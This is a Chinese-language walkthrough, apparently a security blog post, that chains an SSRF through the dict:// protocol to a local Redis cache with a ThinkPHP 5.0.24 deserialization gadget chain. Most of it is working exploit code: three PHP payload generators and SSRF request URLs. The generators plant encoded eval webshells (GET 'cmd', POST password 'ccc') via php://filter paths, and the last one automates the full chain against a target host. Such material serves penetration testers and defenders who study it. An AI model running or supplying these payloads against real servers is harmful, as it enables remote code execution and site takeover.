本文技巧概括 (作者理解):

通过 ssrf 将 thinkphp 5.0.24 反序列化链写入 redis 缓存,再让 php 反序列化 redis 缓存中的序列化内容进行命令执行

# 测试环境

# 框架:

thinkphp 5.0.24

# 代码简介:

geturl 操作为 ssrf

getname 操作为加载 redis 缓存并 dump 出来

image-20240202041743822

我们现在需要做的就是 redis 缓存里面的序列化内容拿到 php 里面执行,从而 getshell

# 第一步:

序列化我们的 exp

观众提问:为什么上来就是序列化?

回答:因为 thinkphp 在 redis 获取代码中,存在反序列化操作,发现如果以 think_serialize: 开头的内容就会触发反序列化操作,所以我们要将序列化好的内容写进缓存,然后再进行 redis 读取操作反序列化。

image-20240202182928809

创建 /ccc/ 目录 exp:

exp 制作请自行搜索:thinkphp 5.0.24 反序列化

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = [new Pivot()];
    }
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }
}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();// 目的调用其 write ()
        $this->styles = ['getAttr'];
    }
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;
    function __construct(){
        $this->parent = new Output();#Output 对象,目的是调用__call ()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation 子类,且有 getBindAttr ()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();
    }
}
namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();// 目的调用 File->set ()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => './demo/',
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
$aaa = "think_serialize:".serialize(new Windows());
echo ~$aaa;
$file = fopen('test.txt', 'w');
fwrite($file,~$aaa);
fclose($file);

问:为什么要位取反

答:因为有些特殊字符无法正常通过数据流储存到 redis 缓存,所以得二次取反,第一次在这里,第二次在 bitop:not 中

# 第二步:

拼接 payload:

http://ip:8083/public/index.php/index/index/getUrl?url=dict://127.0.0.1:6379/set:zls:{序列化数据}

image-20240202195326497

# Dict 协议

dict://serverip:port / 命令:参数
向服务器的端口请求为【命令:参数】,并在末尾自动补上 \r\n (CRLF),dict 协议要一条一条的执行命令

问:为什么如此拼接

答:/index/index 为 thinkphp 的控制器路由,geturl 为 ssrf,只有 dict 协议能读到内容

# 第三步:

使用 BITOP 命令再次取反已经取反过的序列化内容,并将旧存储键 (zls) 中的内容存储到新键 (save) 中

http://ip:8083/public/index.php/index/index/getUrl?url=dict://127.0.0.1:6379/bitop:not:save:zls

存储成功

image-20240202195951369

# 第四步:

使用 Cache::store ('redis')->get ($name); 操作,用 php 读取 redis 数据,触发 php 读取 redis 操作中 get 方法的反序列化操作

image-20240202200311275

用 php 访问 reids 中的内容并触发反序列化内容

http://ip:8083/public/index.php/Index/Index/getname?name=save

image-20240202200727480

成功创建目录 /ccc/

image-20240202200850585

# 第五步:

在创建 /ccc 目录中写入 shell

写 shell 反序列化 exp:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = [new Pivot()];
    }
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }
}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();// 目的调用其 write ()
        $this->styles = ['getAttr'];
    }
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;
    function __construct(){
        $this->parent = new Output();#Output 对象,目的是调用__call ()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation 子类,且有 getBindAttr ()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();
    }
}
namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();// 目的调用 File->set ()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/write=string.rot13/resource=./ccc/<?cuc cucvasb();riny($_TRG[pzq]);?>',
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
$aaa = "think_serialize:".serialize(new Windows());
$file = fopen('test.txt', 'w');
fwrite($file,~$aaa);
fclose($file);

# 第六步:

写入反序列化数据:

http://ip:8083/public/index.php/index/index/getUrl?url=dict://127.0.0.1:6379/set:zlsshell:{序列化内容}

image-20240202201812554

# 第七步:

# 第八步:

与创建 /ccc 目录操作一样,不过多赘述

http://ip:8083/public/index.php/index/index/getUrl?url=dict://127.0.0.1:6379/bitop:not:saveshell:zlsshell
http://ip:8083/public/index.php/Index/Index/getname?name=saveshell

image-20240202201833585

image-20240202201857827

# 第九步:

访问目录发现 shell,getshell

image-20240202201922498

getshell

image-20240202050216861

# 改良版本:

2024.2.4

1. 上面的版本只能 linux 使用

2. 步骤复杂操作麻烦

3. 写入路径,当前目录下的:a.php3b58a9545013e88c7186db11bb158c44.php 文件,密码 ccc,post 请求

更新了一下路由 url,效果一样

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = [new Pivot()];
    }
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
    protected $selfRelation;
    protected $query;
    function __construct(){
        $this->selfRelation = false;
        $this->query = new Query();#class Query
    }
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
    function __construct(){
        parent::__construct();
    }
}
class HasOne extends OneToOne{
    protected $bindAttr = [];
    function __construct(){
        parent::__construct();
        $this->bindAttr = ["no","123"];
    }
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
    private $handle = null;
    protected $styles = [];
    function __construct(){
        $this->handle = new Memcached();// 目的调用其 write ()
        $this->styles = ['getAttr'];
    }
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
    protected $append = [];
    protected $error;
    public $parent;#修改处
    protected $selfRelation;
    protected $query;
    protected $aaaaa;
    function __construct(){
        $this->parent = new Output();#Output 对象,目的是调用__call ()
        $this->append = ['getError'];
        $this->error = new HasOne();//Relation 子类,且有 getBindAttr ()
        $this->selfRelation = false;//isSelfRelation()
        $this->query = new Query();
    }
}
namespace think\db;#Query
use think\console\Output;
class Query{
    protected $model;
    function __construct(){
        $this->model = new Output();
    }
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
    protected $handler = null;
    function __construct(){
        $this->handler = new File();// 目的调用 File->set ()
    }
}
namespace think\cache\driver;#File
class File{
    protected $options = [];
    protected $tag;
    function __construct(){
        $this->options = [
        'expire'        => 0,
        'cache_subdir'  => false,
        'prefix'        => '',
        'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
        'data_compress' => false,
        ];
        $this->tag = true;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
$aaa = "think_serialize:".serialize(new Windows());
$file = fopen('test.txt', 'w');
 file_get_contents("http://ip/public/index.php?s=index/Index/geturl&url=dict://127.0.0.1:6379/set:zls:".~$aaa);
 file_get_contents("http://ip/public/index.php?s=index/Index/geturl&url=dict://127.0.0.1:6379/bitop:not:save:zls:");
 file_get_contents("http://ip/public/index.php?s=index/Index/getname&name=save");
 echo "http://ip/public/a.php3b58a9545013e88c7186db11bb158c44.php";